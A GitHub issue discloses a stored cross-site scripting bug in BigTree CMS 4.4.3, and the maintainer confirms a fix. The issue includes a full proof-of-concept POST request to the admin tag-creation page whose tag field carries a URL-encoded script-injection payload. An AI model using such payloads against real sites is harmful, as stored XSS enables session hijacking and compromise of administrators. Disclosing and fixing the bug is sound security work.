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BigTree-CMS 4.4.3 There is a a Stored-XSS which can allows remote attackers to inject arbitrary code #364

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joelister opened this issue Apr 9, 2019 · 1 comment

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@joelister
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BigTree CMS version 4.4.3 suffers from a cross site scripting vulnerability.

After the administrator logged in, Add Tag which can allows remote attackers to inject arbitrary code

1、poc:
POST /491/BigTree/site/index.php/admin/tags/create/ HTTP/1.1
Host: 192.168.217.175
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.217.175/491/BigTree/site/index.php/admin/tags/add/
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Connection: close
Cookie: PHPSESSID=hsc4a56qavepg01ogh2cs6kqq1; bigtree_admin[email]=bigtree%40bigtree.com; bigtree_admin[login]=%5B%22session-5cac66ed633df8.59737713%22%2C%22chain-5cac66ed62bc19.35874252%22%5D
Upgrade-Insecure-Requests: 1

tag=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E%2F%2F

2、Vulnerability trigger point
image

3、when administrator access - Tags
image

timbuckingham added a commit that referenced this issue Apr 9, 2019
@timbuckingham
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Thanks! This is fixed in the referenced commit above.

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